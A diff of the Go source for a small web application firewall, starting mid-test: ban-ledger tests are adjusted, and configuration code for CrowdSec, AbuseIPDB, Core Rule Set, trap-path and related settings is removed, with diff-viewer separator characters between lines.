// Three times the three days would be permanent; a limit broken as the
|
|
||||||
// ban for CrowdSec's decision ends bans for an hour, as a first broken
|
|
||||||
// limit does.
|
|
||||||
crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
|
|
||||||
scenario, bans.Notes{})
|
|
||||||
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
|
|
||||||
|
|
||||||
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
|
||||||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
|
|
||||||
t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
|
|
||||||
limit)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -2,7 +2,6 @@ package bans_test
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"reflect"
|
|
||||||
"slices"
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
@@ -225,7 +224,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
|
|||||||
ledger.Load([]bans.Ban{later, earlier})
|
ledger.Load([]bans.Ban{later, earlier})
|
||||||
|
|
||||||
held := ledger.Snapshot()
|
held := ledger.Snapshot()
|
||||||
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
|
if len(held) != 1 || held[0] != later {
|
||||||
t.Errorf("the ledger holds %+v, want only the ban that began later", held)
|
t.Errorf("the ledger holds %+v, want only the ban that began later", held)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -268,7 +267,7 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
|
|||||||
bans.Notes{})
|
bans.Notes{})
|
||||||
|
|
||||||
want := []bans.Ban{first, second, kept}
|
want := []bans.Ban{first, second, kept}
|
||||||
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
|
if got := ledger.Snapshot(); !slices.Equal(got, want) {
|
||||||
t.Errorf("the ledger holds %+v, want %+v", got, want)
|
t.Errorf("the ledger holds %+v, want %+v", got, want)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+20
-345
@@ -42,18 +42,12 @@ type Config struct {
|
|||||||
InstanceName string
|
InstanceName string
|
||||||
// Observe is true in observe mode, when SWWAF_MODE is observe rather
|
// Observe is true in observe mode, when SWWAF_MODE is observe rather
|
||||||
// than enforce: a request that SWWAF_DENY_NETS, a ban, the country
|
// than enforce: a request that SWWAF_DENY_NETS, a ban, the country
|
||||||
// lists, a rate limit, a rule or the Core Rule Set would refuse is
|
// lists, a rate limit or a rule would refuse is passed to the app
|
||||||
// passed to the app instead, and no ban is made.
|
// instead, and no ban is made.
|
||||||
Observe bool
|
Observe bool
|
||||||
// TrustedProxies are the netblocks whose X-Forwarded-For is
|
// TrustedProxies are the netblocks whose X-Forwarded-For is
|
||||||
// believed (SWWAF_TRUSTED_PROXIES).
|
// believed (SWWAF_TRUSTED_PROXIES).
|
||||||
TrustedProxies []netip.Prefix
|
TrustedProxies []netip.Prefix
|
||||||
// IPv6GroupPrefix is the length of the IPv6 netblock that is one client
|
|
||||||
// (SWWAF_IPV6_GROUP_PREFIX), from 32 to 128.
|
|
||||||
IPv6GroupPrefix int
|
|
||||||
// MaxTrackedClients is the most clients the table of clients holds, in
|
|
||||||
// memory and in clients.json (SWWAF_MAX_TRACKED_CLIENTS).
|
|
||||||
MaxTrackedClients int
|
|
||||||
// ClientRequestTimeout bounds reading the whole request from the
|
// ClientRequestTimeout bounds reading the whole request from the
|
||||||
// client (SWWAF_CLIENT_REQUEST_TIMEOUT).
|
// client (SWWAF_CLIENT_REQUEST_TIMEOUT).
|
||||||
ClientRequestTimeout time.Duration
|
ClientRequestTimeout time.Duration
|
||||||
@@ -161,33 +155,18 @@ type Config struct {
|
|||||||
// DNSBLZones are the DNSBL zones clients are asked about
|
// DNSBLZones are the DNSBL zones clients are asked about
|
||||||
// (SWWAF_DNSBL_ZONES), through DNSBLResolver (SWWAF_DNSBL_RESOLVER), or
|
// (SWWAF_DNSBL_ZONES), through DNSBLResolver (SWWAF_DNSBL_RESOLVER), or
|
||||||
// the host's resolver while that is the zero AddrPort.
|
// the host's resolver while that is the zero AddrPort.
|
||||||
// AbuseIPDBKey is the key of the AbuseIPDB account clients are checked
|
// ReputationAction is what is done with a client a zone's verdict lists
|
||||||
// with (SWWAF_ABUSEIPDB_KEY), "" while it is unset and none is. A score
|
// (SWWAF_REPUTATION_ACTION): deny, limit or log; for limit,
|
||||||
// of AbuseIPDBMinScore or more is a hit (SWWAF_ABUSEIPDB_MIN_SCORE), and
|
// ReputationLimitPercent is the percentage of every limit it gets. A
|
||||||
// at most AbuseIPDBDailyBudget checks are made a day
|
// verdict is used for ReputationCacheTTL after it was fetched
|
||||||
// (SWWAF_ABUSEIPDB_DAILY_BUDGET).
|
// (SWWAF_REPUTATION_CACHE_TTL), and a query may take ReputationTimeout
|
||||||
// ReputationAction is what is done with a client a zone's verdict lists,
|
// (SWWAF_REPUTATION_TIMEOUT). Neither can be off.
|
||||||
// or whose score is a hit (SWWAF_REPUTATION_ACTION): deny, limit or log;
|
|
||||||
// for limit, ReputationLimitPercent is the percentage of every limit it
|
|
||||||
// gets. A verdict or a score is used for ReputationCacheTTL after it was
|
|
||||||
// fetched (SWWAF_REPUTATION_CACHE_TTL), and a query or a check may take
|
|
||||||
// ReputationTimeout (SWWAF_REPUTATION_TIMEOUT). Neither can be off.
|
|
||||||
DNSBLZones []string
|
DNSBLZones []string
|
||||||
DNSBLResolver netip.AddrPort
|
DNSBLResolver netip.AddrPort
|
||||||
AbuseIPDBKey string
|
|
||||||
AbuseIPDBMinScore int64
|
|
||||||
AbuseIPDBDailyBudget int
|
|
||||||
ReputationAction string
|
ReputationAction string
|
||||||
ReputationLimitPercent int64
|
ReputationLimitPercent int64
|
||||||
ReputationCacheTTL time.Duration
|
ReputationCacheTTL time.Duration
|
||||||
ReputationTimeout time.Duration
|
ReputationTimeout time.Duration
|
||||||
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
|
|
||||||
// engine whose local API SWWAF_CROWDSEC_LAPI_URL names is fetched from:
|
|
||||||
// that URL with v1/decisions added to its path, "" while it is unset and
|
|
||||||
// none is. CrowdSecKey is the key the engine is asked with
|
|
||||||
// (SWWAF_CROWDSEC_LAPI_KEY).
|
|
||||||
CrowdSecDecisionsURL string
|
|
||||||
CrowdSecKey string
|
|
||||||
// BanResponse is the status a refused client is answered with, 403
|
// BanResponse is the status a refused client is answered with, 403
|
||||||
// or 429, or 0 to close the connection without an answer
|
// or 429, or 0 to close the connection without an answer
|
||||||
// (SWWAF_BAN_RESPONSE). It answers a banned client, a request that
|
// (SWWAF_BAN_RESPONSE). It answers a banned client, a request that
|
||||||
@@ -222,9 +201,6 @@ type Config struct {
|
|||||||
// LogRequestHeaders are the request headers whose values the request
|
// LogRequestHeaders are the request headers whose values the request
|
||||||
// log gives, in lower case (SWWAF_LOG_REQUEST_HEADERS).
|
// log gives, in lower case (SWWAF_LOG_REQUEST_HEADERS).
|
||||||
LogRequestHeaders []string
|
LogRequestHeaders []string
|
||||||
// LogLevel is the least severe of the process's own messages that are
|
|
||||||
// written (SWWAF_LOG_LEVEL). It holds back no request log line.
|
|
||||||
LogLevel slog.Level
|
|
||||||
// AdminToken is the bearer token an admin sends for the ban endpoints
|
// AdminToken is the bearer token an admin sends for the ban endpoints
|
||||||
// and /_smallwebwaf/clients/<ip> (SWWAF_ADMIN_TOKEN), "" while it is
|
// and /_smallwebwaf/clients/<ip> (SWWAF_ADMIN_TOKEN), "" while it is
|
||||||
// unset and they are off.
|
// unset and they are off.
|
||||||
@@ -239,29 +215,6 @@ type Config struct {
|
|||||||
// unless RulesEnabled is false (SWWAF_RULES_ENABLED).
|
// unless RulesEnabled is false (SWWAF_RULES_ENABLED).
|
||||||
RulesDir string
|
RulesDir string
|
||||||
RulesEnabled bool
|
RulesEnabled bool
|
||||||
// WAFMode is what the Core Rule Set does (SWWAF_WAF_MODE): WAFModeOff,
|
|
||||||
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
|
|
||||||
// level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and
|
|
||||||
// WAFAnomalyThreshold the anomaly score at which a request is a match
|
|
||||||
// (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
|
|
||||||
// are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES),
|
|
||||||
// WAFExemptPaths the path prefixes it does not inspect
|
|
||||||
// (SWWAF_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
|
|
||||||
// it reads (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
|
|
||||||
WAFMode string
|
|
||||||
WAFParanoiaLevel int
|
|
||||||
WAFAnomalyThreshold int
|
|
||||||
WAFDisabledRules []int
|
|
||||||
WAFExemptPaths []string
|
|
||||||
WAFBodyLimit int64
|
|
||||||
// TrapPaths are the paths a request for which is a clear sign of
|
|
||||||
// attack (SWWAF_TRAP_PATHS), each starting with / and without a ?.
|
|
||||||
TrapPaths []string
|
|
||||||
// ErrorBurstThreshold is the most requests of a client within a minute
|
|
||||||
// that smallwebwaf may refuse after a rule file or Core Rule Set match
|
|
||||||
// or for a missing or wrong token; one more breaks a limit
|
|
||||||
// (SWWAF_ERROR_BURST_THRESHOLD). 0 is off.
|
|
||||||
ErrorBurstThreshold int64
|
|
||||||
// LogRemoteURL is where every line on stdout is also sent
|
// LogRemoteURL is where every line on stdout is also sent
|
||||||
// (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
|
// (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
|
||||||
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
|
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
|
||||||
@@ -325,16 +278,6 @@ type Config struct {
|
|||||||
// off.
|
// off.
|
||||||
const off = "off"
|
const off = "off"
|
||||||
|
|
||||||
// The values of SWWAF_WAF_MODE.
|
|
||||||
const (
|
|
||||||
// WAFModeOff runs no request through the Core Rule Set.
|
|
||||||
WAFModeOff = off
|
|
||||||
// WAFModeDetect logs and alerts a match, and refuses nothing.
|
|
||||||
WAFModeDetect = "detect"
|
|
||||||
// WAFModeBlock refuses a match with 403.
|
|
||||||
WAFModeBlock = "block"
|
|
||||||
)
|
|
||||||
|
|
||||||
// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
|
// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
|
||||||
// lookup database, the file SWWAF_LOOKUP_DB_PATH names.
|
// lookup database, the file SWWAF_LOOKUP_DB_PATH names.
|
||||||
const fileSource = "file"
|
const fileSource = "file"
|
||||||
@@ -346,20 +289,8 @@ const (
|
|||||||
gibibyte = 1 << 30
|
gibibyte = 1 << 30
|
||||||
ipv4Bits = 32
|
ipv4Bits = 32
|
||||||
ipv6Bits = 128
|
ipv6Bits = 128
|
||||||
// minIPv6GroupPrefix is the shortest SWWAF_IPV6_GROUP_PREFIX, the
|
|
||||||
// netblock a provider is usually given: a shorter one would make one
|
|
||||||
// client of the customers of several providers.
|
|
||||||
minIPv6GroupPrefix = 32
|
|
||||||
// minTokenLength is the fewest characters a token may have.
|
// minTokenLength is the fewest characters a token may have.
|
||||||
minTokenLength = 32
|
minTokenLength = 32
|
||||||
// maxParanoiaLevel is the Core Rule Set's highest paranoia level.
|
|
||||||
maxParanoiaLevel = 4
|
|
||||||
// firstSetupRuleID to lastSetupRuleID are the ids the Core Rule Set
|
|
||||||
// keeps for the rules that set it up, which smallwebwaf's own rules
|
|
||||||
// have too (see internal/waf). Switching one off would undo a change
|
|
||||||
// that no setting undoes.
|
|
||||||
firstSetupRuleID = 900000
|
|
||||||
lastSetupRuleID = 900999
|
|
||||||
// masked is what the log shows for a token that is set, and in place of
|
// masked is what the log shows for a token that is set, and in place of
|
||||||
// a secret in another setting.
|
// a secret in another setting.
|
||||||
masked = "********"
|
masked = "********"
|
||||||
@@ -398,7 +329,6 @@ var (
|
|||||||
errNeedsDBPath = errors.New("it names the file to look clients up in")
|
errNeedsDBPath = errors.New("it names the file to look clients up in")
|
||||||
errDBPathUnused = errors.New("only file reads it")
|
errDBPathUnused = errors.New("only file reads it")
|
||||||
errNotOver4K = errors.New("is not a size of more than 4K, such as 32K")
|
errNotOver4K = errors.New("is not a size of more than 4K, such as 32K")
|
||||||
errOver1G = errors.New("is more than 1G, the most Coraza reads")
|
|
||||||
errNotDurationAboveZero = errors.New(
|
errNotDurationAboveZero = errors.New(
|
||||||
"is not a duration above zero, such as 1h or 7d")
|
"is not a duration above zero, such as 1h or 7d")
|
||||||
errNotNumberAboveZero = errors.New(
|
errNotNumberAboveZero = errors.New(
|
||||||
@@ -408,9 +338,6 @@ var (
|
|||||||
"is not the length of an IPv4 netblock, from 0 to 32, such as 24")
|
"is not the length of an IPv4 netblock, from 0 to 32, such as 24")
|
||||||
errNotV6Prefix = errors.New(
|
errNotV6Prefix = errors.New(
|
||||||
"is not the length of an IPv6 netblock, from 0 to 128, such as 48")
|
"is not the length of an IPv6 netblock, from 0 to 128, such as 48")
|
||||||
errNotIPv6GroupPrefix = errors.New(
|
|
||||||
"is not the length of an IPv6 netblock, from 32 to 128, such as 64")
|
|
||||||
errNotLogLevel = errors.New("is not debug, info, warn or error")
|
|
||||||
errNotNamedNetblock = errors.New(
|
errNotNamedNetblock = errors.New(
|
||||||
"is not a name, = and a netblock, such as office=203.0.113.0/24")
|
"is not a name, = and a netblock, such as office=203.0.113.0/24")
|
||||||
errNotAbsolutePath = errors.New(
|
errNotAbsolutePath = errors.New(
|
||||||
@@ -420,15 +347,6 @@ var (
|
|||||||
errNotBytesCount = errors.New("is not response, request or both")
|
errNotBytesCount = errors.New("is not response, request or both")
|
||||||
errNotPathPrefix = errors.New(
|
errNotPathPrefix = errors.New(
|
||||||
"is not a path prefix starting with /, such as /assets/")
|
"is not a path prefix starting with /, such as /assets/")
|
||||||
errNotTrapPath = errors.New(
|
|
||||||
"is not a path starting with / and without a ?, such as /wp-login.php")
|
|
||||||
errNotWAFMode = errors.New("is not off, detect or block")
|
|
||||||
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
|
|
||||||
errNotRuleID = errors.New(
|
|
||||||
"is not the id of a Core Rule Set rule, a whole number such as 942100")
|
|
||||||
errSetupRuleID = errors.New(
|
|
||||||
"is from 900000 to 900999, the ids of the rules that set the Core Rule Set " +
|
|
||||||
"up and of smallwebwaf's own, which cannot be switched off")
|
|
||||||
errNotBoolean = errors.New("is not true or false")
|
errNotBoolean = errors.New("is not true or false")
|
||||||
errNotLogRemoteURL = errors.New(
|
errNotLogRemoteURL = errors.New(
|
||||||
"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
|
"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
|
||||||
@@ -468,13 +386,6 @@ var (
|
|||||||
"names IPv6 clients are asked about by")
|
"names IPv6 clients are asked about by")
|
||||||
errNotResolver = errors.New("is not an IP address with an optional port, " +
|
errNotResolver = errors.New("is not an IP address with an optional port, " +
|
||||||
"such as 192.0.2.53 or [2001:db8::53]:5353")
|
"such as 192.0.2.53 or [2001:db8::53]:5353")
|
||||||
errNotLAPIURL = errors.New(
|
|
||||||
"is not an http or https URL without a user or a fragment, " +
|
|
||||||
"such as http://172.17.0.1:8080")
|
|
||||||
errNeedsLAPIKey = errors.New("the engine answers no request without it")
|
|
||||||
errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL")
|
|
||||||
errAnotherList = errors.New(
|
|
||||||
"is in SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too")
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// FromEnvironment reads the settings with lookupEnv, normally
|
// FromEnvironment reads the settings with lookupEnv, normally
|
||||||
@@ -492,8 +403,6 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
|
|||||||
InstanceName: env.instanceName(),
|
InstanceName: env.instanceName(),
|
||||||
Observe: env.observe("SWWAF_MODE", "enforce"),
|
Observe: env.observe("SWWAF_MODE", "enforce"),
|
||||||
TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges),
|
TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges),
|
||||||
IPv6GroupPrefix: env.ipv6GroupPrefix("SWWAF_IPV6_GROUP_PREFIX", "64"),
|
|
||||||
MaxTrackedClients: env.numberNotOff("SWWAF_MAX_TRACKED_CLIENTS", "20000"),
|
|
||||||
ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"),
|
ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"),
|
||||||
ClientRequestHeaderMaxBytes: env.headerSize(
|
ClientRequestHeaderMaxBytes: env.headerSize(
|
||||||
"SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES", "32K"),
|
"SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES", "32K"),
|
||||||
@@ -531,13 +440,8 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
|
|||||||
BlocklistRefresh: env.refresh("SWWAF_BLOCKLIST_REFRESH", "24h"),
|
BlocklistRefresh: env.refresh("SWWAF_BLOCKLIST_REFRESH", "24h"),
|
||||||
DNSBLZones: env.zones("SWWAF_DNSBL_ZONES"),
|
DNSBLZones: env.zones("SWWAF_DNSBL_ZONES"),
|
||||||
DNSBLResolver: env.resolver("SWWAF_DNSBL_RESOLVER"),
|
DNSBLResolver: env.resolver("SWWAF_DNSBL_RESOLVER"),
|
||||||
AbuseIPDBKey: env.secret("SWWAF_ABUSEIPDB_KEY"),
|
|
||||||
AbuseIPDBMinScore: env.percent("SWWAF_ABUSEIPDB_MIN_SCORE", "75"),
|
|
||||||
AbuseIPDBDailyBudget: env.numberNotOff("SWWAF_ABUSEIPDB_DAILY_BUDGET", "900"),
|
|
||||||
ReputationCacheTTL: env.durationNotOff("SWWAF_REPUTATION_CACHE_TTL", "24h"),
|
ReputationCacheTTL: env.durationNotOff("SWWAF_REPUTATION_CACHE_TTL", "24h"),
|
||||||
ReputationTimeout: env.durationNotOff("SWWAF_REPUTATION_TIMEOUT", "2s"),
|
ReputationTimeout: env.durationNotOff("SWWAF_REPUTATION_TIMEOUT", "2s"),
|
||||||
CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWWAF_CROWDSEC_LAPI_URL"),
|
|
||||||
CrowdSecKey: env.secret("SWWAF_CROWDSEC_LAPI_KEY"),
|
|
||||||
BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"),
|
BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"),
|
||||||
LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"),
|
LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"),
|
||||||
LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"),
|
LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"),
|
||||||
@@ -550,21 +454,11 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
|
|||||||
StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"),
|
StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"),
|
||||||
LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS",
|
LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS",
|
||||||
"accept,accept-language,accept-encoding,content-type,origin,range"),
|
"accept,accept-language,accept-encoding,content-type,origin,range"),
|
||||||
LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"),
|
|
||||||
AdminToken: env.token("SWWAF_ADMIN_TOKEN"),
|
AdminToken: env.token("SWWAF_ADMIN_TOKEN"),
|
||||||
MetricsToken: env.token("SWWAF_METRICS_TOKEN"),
|
MetricsToken: env.token("SWWAF_METRICS_TOKEN"),
|
||||||
MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
|
MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
|
||||||
RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
|
RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
|
||||||
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"),
|
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"),
|
||||||
WAFMode: env.wafMode("SWWAF_WAF_MODE", WAFModeBlock),
|
|
||||||
WAFParanoiaLevel: env.paranoiaLevel("SWWAF_WAF_PARANOIA_LEVEL", "1"),
|
|
||||||
WAFAnomalyThreshold: env.numberOrOff("SWWAF_WAF_ANOMALY_THRESHOLD", "5"),
|
|
||||||
WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES",
|
|
||||||
"920340,920420,920440,920640,930130,930140"),
|
|
||||||
WAFExemptPaths: env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""),
|
|
||||||
WAFBodyLimit: env.wafBodyLimit("SWWAF_WAF_BODY_LIMIT", off),
|
|
||||||
TrapPaths: env.trapPaths("SWWAF_TRAP_PATHS"),
|
|
||||||
ErrorBurstThreshold: env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"),
|
|
||||||
LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"),
|
LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"),
|
||||||
LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"),
|
LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"),
|
||||||
LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"),
|
LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"),
|
||||||
@@ -599,7 +493,6 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
|
|||||||
env.checkLookupDBPath(cfg)
|
env.checkLookupDBPath(cfg)
|
||||||
env.checkCountriesAndLookups(cfg)
|
env.checkCountriesAndLookups(cfg)
|
||||||
env.checkASNLimitPercentURL(cfg)
|
env.checkASNLimitPercentURL(cfg)
|
||||||
env.checkCrowdSec(cfg)
|
|
||||||
|
|
||||||
if env.err != nil {
|
if env.err != nil {
|
||||||
return nil, env.err
|
return nil, env.err
|
||||||
@@ -768,15 +661,6 @@ func (e *environment) size(name, defaultValue string) int64 {
|
|||||||
return size
|
return size
|
||||||
}
|
}
|
||||||
|
|
||||||
// wafBodyLimit reads the setting that is the most of a request body the
|
|
||||||
// Core Rule Set reads.
|
|
||||||
func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
|
|
||||||
limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
|
|
||||||
e.check(name, err)
|
|
||||||
|
|
||||||
return limit
|
|
||||||
}
|
|
||||||
|
|
||||||
// headerSize reads the setting that is the largest request line and
|
// headerSize reads the setting that is the largest request line and
|
||||||
// headers.
|
// headers.
|
||||||
func (e *environment) headerSize(name, defaultValue string) int64 {
|
func (e *environment) headerSize(name, defaultValue string) int64 {
|
||||||
@@ -813,48 +697,6 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
|
|||||||
return prefixes
|
return prefixes
|
||||||
}
|
}
|
||||||
|
|
||||||
// trapPaths reads the setting that is the list of trap paths. It is empty
|
|
||||||
// by default.
|
|
||||||
func (e *environment) trapPaths(name string) []string {
|
|
||||||
paths, err := parseTrapPaths(e.value(name, ""))
|
|
||||||
e.check(name, err)
|
|
||||||
|
|
||||||
return paths
|
|
||||||
}
|
|
||||||
|
|
||||||
// wafMode reads the setting that is what the Core Rule Set does: off,
|
|
||||||
// detect or block.
|
|
||||||
func (e *environment) wafMode(name, defaultValue string) string {
|
|
||||||
mode := e.value(name, defaultValue)
|
|
||||||
if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
|
|
||||||
e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
|
|
||||||
}
|
|
||||||
|
|
||||||
return mode
|
|
||||||
}
|
|
||||||
|
|
||||||
// paranoiaLevel reads the setting that is the Core Rule Set's paranoia
|
|
||||||
// level, from 1 to 4.
|
|
||||||
func (e *environment) paranoiaLevel(name, defaultValue string) int {
|
|
||||||
value := e.value(name, defaultValue)
|
|
||||||
|
|
||||||
level, err := strconv.Atoi(value)
|
|
||||||
if err != nil || level < 1 || level > maxParanoiaLevel {
|
|
||||||
e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel))
|
|
||||||
}
|
|
||||||
|
|
||||||
return level
|
|
||||||
}
|
|
||||||
|
|
||||||
// ruleIDs reads the setting that is a list of the ids of Core Rule Set
|
|
||||||
// rules.
|
|
||||||
func (e *environment) ruleIDs(name, defaultValue string) []int {
|
|
||||||
ids, err := parseRuleIDs(e.value(name, defaultValue))
|
|
||||||
e.check(name, err)
|
|
||||||
|
|
||||||
return ids
|
|
||||||
}
|
|
||||||
|
|
||||||
// countries reads a setting that is a list of countries.
|
// countries reads a setting that is a list of countries.
|
||||||
func (e *environment) countries(name, defaultValue string) []string {
|
func (e *environment) countries(name, defaultValue string) []string {
|
||||||
countries, err := parseCountries(e.value(name, defaultValue))
|
countries, err := parseCountries(e.value(name, defaultValue))
|
||||||
@@ -937,20 +779,11 @@ func (e *environment) action(name, defaultValue string) (string, int64) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// zones reads the setting that is the list of DNSBL zones. It is empty by
|
// zones reads the setting that is the list of DNSBL zones. It is empty by
|
||||||
// default. The log shows each zone with its key masked, as MaskZoneKey
|
// default.
|
||||||
// masks it.
|
|
||||||
func (e *environment) zones(name string) []string {
|
func (e *environment) zones(name string) []string {
|
||||||
value, _ := e.lookup(name)
|
zones, err := parseZones(e.value(name, ""))
|
||||||
zones, err := parseZones(value)
|
|
||||||
e.check(name, err)
|
e.check(name, err)
|
||||||
|
|
||||||
logged := make([]string, len(zones))
|
|
||||||
for i, zone := range zones {
|
|
||||||
logged[i] = MaskZoneKey(zone)
|
|
||||||
}
|
|
||||||
|
|
||||||
e.settings = append(e.settings, slog.String(name, strings.Join(logged, ",")))
|
|
||||||
|
|
||||||
return zones
|
return zones
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -963,26 +796,6 @@ func (e *environment) resolver(name string) netip.AddrPort {
|
|||||||
return resolver
|
return resolver
|
||||||
}
|
}
|
||||||
|
|
||||||
// crowdSecDecisionsURL reads the setting that is the URL of the CrowdSec
|
|
||||||
// engine's local API, such as http://172.17.0.1:8080, and returns the URL
|
|
||||||
// its decision list is fetched from, that URL with v1/decisions added to
|
|
||||||
// its path, "" while it is unset or empty.
|
|
||||||
func (e *environment) crowdSecDecisionsURL(name string) string {
|
|
||||||
value := e.value(name, "")
|
|
||||||
if value == "" {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
lapi, err := url.Parse(value)
|
|
||||||
if err != nil || !isHTTPURL(lapi) {
|
|
||||||
e.check(name, fmt.Errorf("%q %w", value, errNotLAPIURL))
|
|
||||||
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
return lapi.JoinPath("v1", "decisions").String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// lookupSource reads the setting that is where clients are looked up:
|
// lookupSource reads the setting that is where clients are looked up:
|
||||||
// geojs, file, or off.
|
// geojs, file, or off.
|
||||||
func (e *environment) lookupSource(name, defaultValue string) string {
|
func (e *environment) lookupSource(name, defaultValue string) string {
|
||||||
@@ -1060,26 +873,6 @@ func (e *environment) checkASNLimitPercentURL(cfg *Config) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkCrowdSec refuses SWWAF_CROWDSEC_LAPI_URL without
|
|
||||||
// SWWAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
|
|
||||||
// that is fetched as another list too.
|
|
||||||
func (e *environment) checkCrowdSec(cfg *Config) {
|
|
||||||
decisionsURL := cfg.CrowdSecDecisionsURL
|
|
||||||
|
|
||||||
switch {
|
|
||||||
case decisionsURL != "" && cfg.CrowdSecKey == "":
|
|
||||||
e.check("SWWAF_CROWDSEC_LAPI_URL", fmt.Errorf(
|
|
||||||
"is set while SWWAF_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey))
|
|
||||||
case decisionsURL == "" && cfg.CrowdSecKey != "":
|
|
||||||
e.check("SWWAF_CROWDSEC_LAPI_KEY", fmt.Errorf(
|
|
||||||
"is set while SWWAF_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused))
|
|
||||||
case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
|
|
||||||
decisionsURL == cfg.ASNLimitPercentURL):
|
|
||||||
e.check("SWWAF_CROWDSEC_LAPI_URL", fmt.Errorf("gives the decision list %q, which %w",
|
|
||||||
decisionsURL, errAnotherList))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// headerNames reads a setting that is a list of header names, and
|
// headerNames reads a setting that is a list of header names, and
|
||||||
// returns them in lower case.
|
// returns them in lower case.
|
||||||
func (e *environment) headerNames(name, defaultValue string) []string {
|
func (e *environment) headerNames(name, defaultValue string) []string {
|
||||||
